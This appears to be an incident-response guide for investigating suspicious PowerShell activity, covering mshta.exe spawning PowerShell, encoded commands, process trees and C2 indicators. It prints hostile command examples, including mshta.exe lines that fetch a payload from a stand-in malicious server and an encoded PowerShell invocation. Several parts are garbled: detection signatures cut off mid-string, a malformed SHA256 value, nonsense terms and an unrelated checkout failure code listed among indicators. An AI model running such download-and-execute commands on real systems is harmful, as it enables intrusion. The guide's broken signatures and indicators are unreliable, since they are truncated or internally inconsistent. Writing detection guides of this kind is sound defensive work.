

Endpoint Telemetry Investigation Guide for Suspicious PowerShell Activity

Category: Guides

Model: EDR-INVESTIGATE-042

Description: This guide provides instructions on how to investigate endpoint telemetry for signs of malicious PowerShell executions, including patterns like mshta.exe spawning PowerShell, encoded commands, and parent-child process relationships, focusing on the 42 endpoints affected during the incident.

Table of Contents

1. Introduction
2. Investigation Scope and Objectives
3. Telemetry Data Collection
4. Detection Signatures and Indicators
5. Analyzing Endpoint Activities
6. Common Malicious Patterns
7. Step-by-Step Investigation Procedures
8. Troubleshooting and Common Issues
9. Containment and Response Strategies
10. Appendices

1. Introduction

This document provides a comprehensive framework for investigating suspicious PowerShell activities across enterprise endpoints, specifically focusing on the 42 affected systems. It leverages endpoint telemetry, detection signatures, and threat-hunting indicators to identify malicious behaviors such as process spawning chains, encoded command executions, and anomalous process relationships. The purpose is to facilitate accurate detection, thorough investigation, and timely containment of threats associated with advanced persistent activities involving PowerShell scripts.

2. Investigation Scope and Objectives

The scope of this investigation encompasses telemetry analysis of 42 endpoints identified during the recent incident. Key objectives include:

- Detect signs of malicious PowerShell usage, including encoded commands and unusual parent-child process relationships.
- Identify artifacts such as process hashes (e.g., SHA-256), command-line patterns, and process spawn trees.
- Correlate endpoint activities with network artifacts, including malicious domains and IPs listed in blocklists.
- Assess scope and impact of malicious activities involving secondary tools like mshta.exe, and their communication with command and control (C2) infrastructure.

All investigative steps must align with the organization's incident response procedures and threat-hunting playbooks documented over the past six months.

3. Telemetry Data Collection

3.1 Data Sources

- Endpoint Detection and Response (EDR) agents: Process creation logs, command-line arguments, parent-child process relationships.
- Network logs: DNS queries, C2 domain resolutions, IP traffic logs.
- IAM audit logs: Service account activities, auto-creation events, scope ID modifications.
- Threat intelligence feeds: Block lists for malicious domains, IPs, ASN identifiers.

3.2 Data Collection Techniques

- Implement querying via EDR API or native agents to gather real-time and historical process telemetry.
- Configure Windows Event Forwarding (WEF) for capturing process creation events (Event ID 4688).
- Collect network flow logs and DNS query data for correlating domain resolutions.
- Aggregate threat intel artifacts, including SHA256 hashes for known malicious PowerShell commands.

4. Detection Signatures and Indicators

4.1 Known Signatures

Signature Name	Description	Examples
BEACON-1200	Beacon activity detected via network signatures indicating C2 communications	Repeated DNS queries to c2-host-01.example
C2-DNS-3000	DNS query patterns correlated with malicious C2 domains	Resolution to dynamic DNS domains such as malicious-domain.xyz

4.2 Endpoint Artifacts

- Suspicious process hashes (SHA256): `abcdef1234567890...`
- Command-line patterns: base64 encoded strings, obfuscated parameters
- Process spawning chains: `mshta.exe` spawning PowerShell with encoded commands

4.3 Sample Detection Signatures

```
Signature: MSHTA_PS_Exec
Detects mshta.exe spawning PowerShell:
  Process: mshta.exe
  Command line: "mshta vbe=2 &\\"http://malicious-server.com/pa
or
```

Detects encoded PowerShell commands:

Command line contains: "-EncodedCommand" or "-EncodedAnonymc

5. Analyzing Endpoint Activities

To analyze endpoint telemetry, focus on the following activities:

- **Process Creation Events:** Monitor processes such as mshta.exe, PowerShell, and cmd.exe. Scrutinize command-line arguments for encoded commands.
- **Parent-Child Relationships:** Trace process hierarchies to identify unusual spawning patterns like mshta.exe directly spawning PowerShell instances.
- **SHA256 Hash Matching:** Compare process hashes against known malicious signatures, e.g., certain chefra hashes associated with attack tools.
- **Network Connection Patterns:** Detect outbound connections to known C2 domains or IPs, especially those dynamically resolving or obfuscated.

Example endpoint telemetry snippet:

Process ID: 1532

Parent Process: 1200 (mshta.exe)

Command Line: "mshta.exe http://malicious-server.com/payload"

SHA256: d2f4e9ab1234567890abcdef1234567890abcdef1234567890ak

Network Connection: outbound to 192.0.2.50:443 (C2 server)

Time: 2024-03-15 10:23:47

6. Common Malicious PowerShell Patterns

6.1 mshta.exe Spawning PowerShell

Attackers often leverage `mshta.exe` to execute malicious scripts or commands delivered via web or documents. Typical pattern:

```
mshta.exe "vbscript: Execute("http://malicious-server/payload")"
```

6.2 Encoded PowerShell Commands

Encoded commands are common to obfuscate malicious intent. Example command:

```
powershell.exe -NoProfile -EncodedCommand dXNyP... (Base64 s
```

6.3 Parent-Child Process Relationships

Indicators include processes spawned directly from `mshta.exe` or `wscript.exe`, with command lines involving encoded payloads or unusual parameters.

6.4 Detection through Parent-Child Trees

Use process tree analysis to identify chains such as:

- `mshta.exe` > `PowerShell` > `Encoded Commands`
- `Wscript.exe` > `cmd.exe` > `PowerShell`

7. Step-by-Step Investigation Procedures

7.1 Prerequisites

- Access to EDR telemetry logs and endpoints
- Threat intelligence feeds with known malicious hashes and domains
- Incident response playbooks

7.2 Initial Triage

1. Query endpoint logs for process creation events involving mshta.exe, wscript.exe, and PowerShell.
2. Identify processes with command lines containing "-EncodedCommand" or suspicious URLs.
3. Check SHA256 hashes against known malicious hashes.

7.3 Process Tree Analysis

1. Map parent-child relationships from the logs.
2. Identify unusual spawning patterns like mshta.exe directly spawning PowerShell with encoded commands.
3. Use process tree visualization tools for clarity.

7.4 Network Analysis

1. Review network logs for connections to malicious domains or IPs from threat intel feeds.
2. Correlate with process activity timestamps.
3. Identify if process activity aligns with outbound communications to C2 infrastructure.

7.5 Artifact Analysis

- Verify process hashes against threat intelligence signatures.
- Review command-line parameters for obfuscation tactics.
- Gather evidence of encoded commands and external script downloads.

7.6 Reporting

- Document findings with process IDs, hashes, command lines, timestamps, and network connections.
- Generate a comprehensive incident report with detection timeline and scope.

8. Troubleshooting and Common Issues

8.1 Missing Telemetry Data

If process creation logs are incomplete, verify endpoint telemetry collection configurations and enable detailed process auditing.

8.2 False Positives

Some legitimate administrator operations may resemble malicious patterns. Cross-reference with operational logs to filter false alarms.

8.3 False Negatives

Malicious activities leveraging encryption or custom obfuscation may evade detection; use heuristics and anomaly detection techniques.

8.4 Connectivity Issues

Ensure network logs are comprehensive and endpoint agents are functioning correctly to avoid gaps in telemetry data.

9. Containment and Response Strategies

9.1 Isolate Endpoints

Immediately disconnect compromised endpoints from the network to prevent lateral movement.

9.2 Kill Malicious Processes

Terminate processes identified as malicious, such as mshta.exe or PowerShell with suspicious commands.

9.3 Block C2 Domains/IPs

Update internal firewalls and DNS filters to block known malicious domains and IP addresses.

9.4 Credential Reset and IAM Auditing

Reset affected service accounts, especially those with suspicious auto-creation or elevated privileges; review IAM audits for anomalies.

9.5 Incident Documentation

Complete detailed incident reports, including timelines, artifacts, and remediation actions.

10. Appendices

10.1 Threat Intelligence Artifacts

- **Detection Signatures:** BEACON-1200, C2-DNS-3000
- **Research Sources:** Internal threat hunting team repositories, external threat feeds

10.2 Sample Indicators

Indicator Type	Example
SHA256 Hash	abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234
Domain	malicious-domain.xyz
IP Address	192.0.2.50
Scope ID	SCOPE-PROD-API-ADMIN
Checkout Failure Code	PAY-408

10.3 Additional Resources

- Internal incident handling procedures
- Threat hunting playbooks for PowerShell abuse
- Network and endpoint configuration guides

© 2024 Security Incident Response Team.